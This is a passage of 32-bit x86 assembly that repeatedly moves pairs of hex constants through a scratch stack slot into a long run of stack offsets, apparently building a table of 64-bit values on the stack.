mov dword [ebp - 0x68], 0x62cd6efd
mov dword [ebp - 0x64], 0xdbab28d4
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], ecx
mov dword [ebp - 0x68], 0x33858598
mov dword [ebp - 0x64], 0x54fc57cd
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], ecx
mov dword [ebp - 0x68], 0x7bc3911e
mov dword [ebp - 0x64], 0xa7c0640b
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0x68], 0x3886b8d6
mov dword [ebp - 0x64], 0xb5d98b13
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x68], 0x7460935
mov dword [ebp - 0x64], 0x7dc1790f
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x68], 0x2cdbfbe2
mov dword [ebp - 0x64], 0xd9ea12ad
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x68], 0x1c00295c
mov dword [ebp - 0x64], 0xce55d456
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], ecx
mov dword [ebp - 0x68], 0x28f6dedd
mov dword [ebp - 0x64], 0xa7fbb6cb
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x204], ecx
mov dword [ebp - 0x68], 0xc472b0ad
mov dword [ebp - 0x64], 0x5f6a54a8
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1fc], ecx
mov dword [ebp - 0x68], 0x83686c28
mov dword [ebp - 0x64], 0xf9d5aa0c
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1f4], ecx
mov dword [ebp - 0x68], 0x9b23957
mov dword [ebp - 0x64], 0xdc0bc262
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x68], 0xf3c675da
mov dword [ebp - 0x64], 0x84598a69
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x68], 0x7f9cb350
mov dword [ebp - 0x64], 0x27efd13a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], ecx
mov dword [ebp - 0x68], 0x5928cf9b
mov dword [ebp - 0x64], 0xe93f9745
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], ecx
mov dword [ebp - 0x68], 0x869401ed
mov dword [ebp - 0x64], 0x875bd49c
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], ecx
mov dword [ebp - 0x68], 0xa4d0bc34
mov dword [ebp - 0x64], 0x97a1c666
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c4], ecx
mov dword [ebp - 0x68], 0x412faf5c
mov dword [ebp - 0x64], 0x8bda3cd3
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], ecx
mov dword [ebp - 0x68], 0x84db7211
mov dword [ebp - 0x64], 0xe419c5fa
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], ecx
mov dword [ebp - 0x68], 0x646f6d32
mov dword [ebp - 0x64], 0xd603542b
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], ecx
mov dword [ebp - 0x68], 0xf680810d
mov dword [ebp - 0x64], 0x149f20de
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], ecx
mov dword [ebp - 0x68], 0x3564b361
mov dword [ebp - 0x64], 0x5324fee9
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x68], 0xad77ffab
mov dword [ebp - 0x64], 0xf6e00a49
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], ecx
mov dword [ebp - 0x68], 0xc0929cfa
mov dword [ebp - 0x64], 0x1f8d44b4
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], ecx
mov dword [ebp - 0x68], 0x1c53cbfb
mov dword [ebp - 0x64], 0x8e02725b
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0x68], 0xa3e5b361
mov dword [ebp - 0x64], 0x5191b83d
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x68], 0x1b2bbe1d
mov dword [ebp - 0x64], 0xb2b8c252
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], ecx
mov dword [ebp - 0x68], 0xd3ab26c4
mov dword [ebp - 0x64], 0xc05986b7
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0x68], 0x9d1900cd
mov dword [ebp - 0x64], 0x539ea0ed
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x68], 0x1164cc4d
mov dword [ebp - 0x64], 0xb88a305a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], ecx
mov dword [ebp - 0x68], 0x2c78040f
mov dword [ebp - 0x64], 0x24caccc7
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], ecx
mov dword [ebp - 0x68], 0x6c3f78ca
mov dword [ebp - 0x64], 0xac7205fb
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0x68], 0xdeceeea1
mov dword [ebp - 0x64], 0x939efb5e
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x68], 0x234f3291
mov dword [ebp - 0x64], 0x24b88e38
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x68], 0x2bbaa710
mov dword [ebp - 0x64], 0xa7b618ed
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x68], 0xd30dadbf
mov dword [ebp - 0x64], 0x1710f3be
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x68], 0x4dbf89a9
mov dword [ebp - 0x64], 0xf4d3b60
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x68], 0xd5873bba
mov dword [ebp - 0x64], 0xb963be20
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x68], 0x9eec4d26
mov dword [ebp - 0x64], 0x172b9129
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x68], 0x98b93b1f
mov dword [ebp - 0x64], 0xdb13194a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x2b1e9844
mov dword [ebp - 0x64], 0x8b169f93
mov dword [ebp - 0x950], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x94c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xe6da1261
mov dword [ebp - 0x948], eax
mov dword [ebp - 0x64], 0x1fe32480
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x944], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x9038f8a6
mov dword [ebp - 0x64], 0x72cb17a9
mov dword [ebp - 0x940], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x93c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xc7b363d3
mov dword [ebp - 0x64], 0x5ab3d886
mov dword [ebp - 0x938], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x934], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xc87502d8
mov dword [ebp - 0x64], 0x1b22009f
mov dword [ebp - 0x930], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x92c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x97c6eae5
mov dword [ebp - 0x64], 0xc49df7bc
mov dword [ebp - 0x928], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x924], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xfeb37ba
mov dword [ebp - 0x64], 0x8b794595
mov dword [ebp - 0x920], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x91c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x82b14c07
mov dword [ebp - 0x64], 0x1a026a32
mov dword [ebp - 0x918], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x914], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xc9eea58c
mov dword [ebp - 0x64], 0xdef3f4bb
mov dword [ebp - 0x910], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x90c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xbf875d09
mov dword [ebp - 0x64], 0xff5d87e8
mov dword [ebp - 0x908], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x904], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xad24bdce
mov dword [ebp - 0x64], 0xad498151
mov dword [ebp - 0x900], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x8fc], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xf0e3253b
mov dword [ebp - 0x64], 0x97e8cb4e
mov dword [ebp - 0x8f8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x8f4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x578fc860
mov dword [ebp - 0x64], 0xbccdf2e7
mov dword [ebp - 0x8f0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x8ec], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x4d78df0d
mov dword [ebp - 0x64], 0xf37eef04
mov dword [ebp - 0x8e8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x8e4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xb339c142
mov dword [ebp - 0x64], 0xc1b5cd7d
mov dword [ebp - 0x8e0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x8dc], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x8d8], eax
mov dword [ebp - 0x8d4], ecx
mov dword [ebp - 0x68], 0x54b5bc2f
mov dword [ebp - 0x64], 0xce27fc7a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x4c7ed8d4
mov dword [ebp - 0x64], 0xbbfd5ac3
mov dword [ebp - 0x8d0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x8cc], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x56def671
mov dword [ebp - 0x64], 0xd3673630
mov dword [ebp - 0x8c8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x8c4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x1c640fb6
mov dword [ebp - 0x64], 0x75545bd9
mov dword [ebp - 0x8c0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x8bc], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x96186563
mov dword [ebp - 0x64], 0xcfab5b6
mov dword [ebp - 0x8b8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x8b4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xf4371d68
mov dword [ebp - 0x64], 0xcea6124f
mov dword [ebp - 0x8b0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x8ac], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x96b1dcf5
mov dword [ebp - 0x64], 0x6890d96c
mov dword [ebp - 0x8a8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x8a4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xd8d1bf4a
mov dword [ebp - 0x64], 0x551cdfc5
mov dword [ebp - 0x8a0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x89c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x2ea40b17
mov dword [ebp - 0x64], 0xd2a351e2
mov dword [ebp - 0x898], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x894], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xe1185b9c
mov dword [ebp - 0x64], 0xd3938b6b
mov dword [ebp - 0x890], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x88c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xdf558a19
mov dword [ebp - 0x64], 0x5484698
mov dword [ebp - 0x888], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x884], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x2150265e
mov dword [ebp - 0x64], 0x83999481
mov dword [ebp - 0x880], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x87c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xda1a90cb
mov dword [ebp - 0x64], 0x3bdbacfe
mov dword [ebp - 0x878], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x874], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x353f15f0
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x64], 0x24c72f17
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x86c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x3b93a49d
mov dword [ebp - 0x64], 0xa5c5cc34
mov dword [ebp - 0x868], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x864], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xc4bfb52
mov dword [ebp - 0x64], 0x24ac3b2d
mov dword [ebp - 0x860], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x85c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x8493d3f
mov dword [ebp - 0x64], 0x806ed9aa
mov dword [ebp - 0x858], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x854], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xfb4b2a64
mov dword [ebp - 0x64], 0x6f816c73
mov dword [ebp - 0x850], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x84c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x35dbcf01
mov dword [ebp - 0x64], 0xc67c1960
mov dword [ebp - 0x848], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x844], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xfb60e846
mov dword [ebp - 0x64], 0x68693f09
mov dword [ebp - 0x840], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x83c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x760ab0f3
mov dword [ebp - 0x64], 0x4e4b6766
mov dword [ebp - 0x838], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x834], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x42800078
mov dword [ebp - 0x64], 0x726a85ff
mov dword [ebp - 0x830], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x82c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xa2be3385
mov dword [ebp - 0x64], 0x1c14eb1c
mov dword [ebp - 0x828], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x824], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xacffaada
mov dword [ebp - 0x64], 0x7abd6275
mov dword [ebp - 0x820], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x81c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x2a2d6427
mov dword [ebp - 0x64], 0x9b09b792
mov dword [ebp - 0x818], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x814], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xbb8f97ac
mov dword [ebp - 0x64], 0x6138769b
mov dword [ebp - 0x810], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x80c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x404edb29
mov dword [ebp - 0x64], 0xcdaeac48
mov dword [ebp - 0x808], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x804], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x800], eax
mov dword [ebp - 0x7fc], ecx
mov dword [ebp - 0x68], 0x62c14e6e
mov dword [ebp - 0x64], 0x35e071b1
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xe086b65b
mov dword [ebp - 0x64], 0xa00f4f2e
mov dword [ebp - 0x7f8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x7f4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xc25f3500
mov dword [ebp - 0x64], 0x55606b47
mov dword [ebp - 0x7f0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x7ec], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x1ce8462d
mov dword [ebp - 0x64], 0x82bb26e4
mov dword [ebp - 0x7e8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x7e4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xe351b1e2
mov dword [ebp - 0x64], 0x4a4cbddd
mov dword [ebp - 0x7e0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x7dc], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x4cfeb0cf
mov dword [ebp - 0x64], 0x6205255a
mov dword [ebp - 0x7d8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x7d4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x7e8ffcf4
mov dword [ebp - 0x64], 0xd277da23
mov dword [ebp - 0x7d0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x7cc], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xfef7d811
mov dword [ebp - 0x64], 0xec1c9c10
mov dword [ebp - 0x7c8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x7c4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x8cee2456
mov dword [ebp - 0x64], 0x6e53fdb9
mov dword [ebp - 0x7c0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x7bc], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xea4b5083
mov dword [ebp - 0x64], 0x2b8e4116
mov dword [ebp - 0x7b8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x7b4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x280e0088
mov dword [ebp - 0x64], 0x980b08af
mov dword [ebp - 0x7b0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x7ac], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x8b2ddc15
mov dword [ebp - 0x64], 0xf774d4c
mov dword [ebp - 0x7a8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x7a4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x20ef30ea
mov dword [ebp - 0x64], 0x82aeb9a5
mov dword [ebp - 0x7a0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x79c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xe3426cb7
mov dword [ebp - 0x798], eax
mov dword [ebp - 0x64], 0xa231aac2
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x794], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xf0d0b9bc
mov dword [ebp - 0x64], 0x137f53cb
mov dword [ebp - 0x790], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x78c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x1eac5539
mov dword [ebp - 0x64], 0x878cc878
mov dword [ebp - 0x788], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x784], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x2eb77fe
mov dword [ebp - 0x64], 0xf78866e1
mov dword [ebp - 0x780], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x77c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x13a8626b
mov dword [ebp - 0x64], 0x37d22ade
mov dword [ebp - 0x778], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x774], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xab55f190
mov dword [ebp - 0x64], 0x5cb75277
mov dword [ebp - 0x770], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x76c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x48e2b3bd
mov dword [ebp - 0x64], 0x59bae94
mov dword [ebp - 0x768], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x764], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x456e0f2
mov dword [ebp - 0x64], 0x3565fc0d
mov dword [ebp - 0x760], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x75c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xa012e55f
mov dword [ebp - 0x64], 0x2d43560a
mov dword [ebp - 0x758], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x754], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x32784284
mov dword [ebp - 0x64], 0xdd46dc53
mov dword [ebp - 0x750], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x74c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xee33bca1
mov dword [ebp - 0x64], 0x72136140
mov dword [ebp - 0x748], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x744], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x9792a2e6
mov dword [ebp - 0x64], 0xc4fb5469
mov dword [ebp - 0x740], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x73c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xcf0d0e13
mov dword [ebp - 0x64], 0xace41546
mov dword [ebp - 0x738], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x734], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xcfcead18
mov dword [ebp - 0x64], 0x6d523d5f
mov dword [ebp - 0x730], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x72c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x728], eax
mov dword [ebp - 0x724], ecx
mov dword [ebp - 0x68], 0x9f209525
mov dword [ebp - 0x64], 0x16ce347c
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x1744e1fa
mov dword [ebp - 0x64], 0xdda98255
mov dword [ebp - 0x720], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x71c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x8a0af647
mov dword [ebp - 0x64], 0x6c32a6f2
mov dword [ebp - 0x718], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x714], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xd1484fcc
mov dword [ebp - 0x64], 0x3124317b
mov dword [ebp - 0x710], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x70c], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xc6e10749
mov dword [ebp - 0x64], 0x518dc4a8
mov dword [ebp - 0x708], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x704], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xb47e680e
mov dword [ebp - 0x64], 0xff79be11
mov dword [ebp - 0x700], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x6fc], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xf83ccf7b
mov dword [ebp - 0x64], 0xea19080e
mov dword [ebp - 0x6f8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x6f4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x5ee972a0
mov dword [ebp - 0x64], 0xefe2fa7
mov dword [ebp - 0x6f0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x6ec], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x54d2894d
mov dword [ebp - 0x64], 0x45af2bc4
mov dword [ebp - 0x6e8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x6e4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xba936b82
mov dword [ebp - 0x64], 0x13e60a3d
mov dword [ebp - 0x6e0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x6dc], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x5c0f666f
mov dword [ebp - 0x64], 0x2058393a
mov dword [ebp - 0x6d8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x6d4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x53d88314
mov dword [ebp - 0x64], 0xe2d9783
mov dword [ebp - 0x6d0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x6cc], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x5e38a0b1
mov dword [ebp - 0x64], 0x259772f0
mov dword [ebp - 0x6c8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x6c4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x23bdb9f6
mov dword [ebp - 0x6c0], eax
mov dword [ebp - 0x64], 0xc7849899
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x6bc], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x9d720fa3
mov dword [ebp - 0x64], 0x5f2af276
mov dword [ebp - 0x6b8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x6b4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xfb90c7a8
mov dword [ebp - 0x64], 0x20d64f0f
mov dword [ebp - 0x6b0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x6ac], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x9e0b8735
mov dword [ebp - 0x64], 0xbac1162c
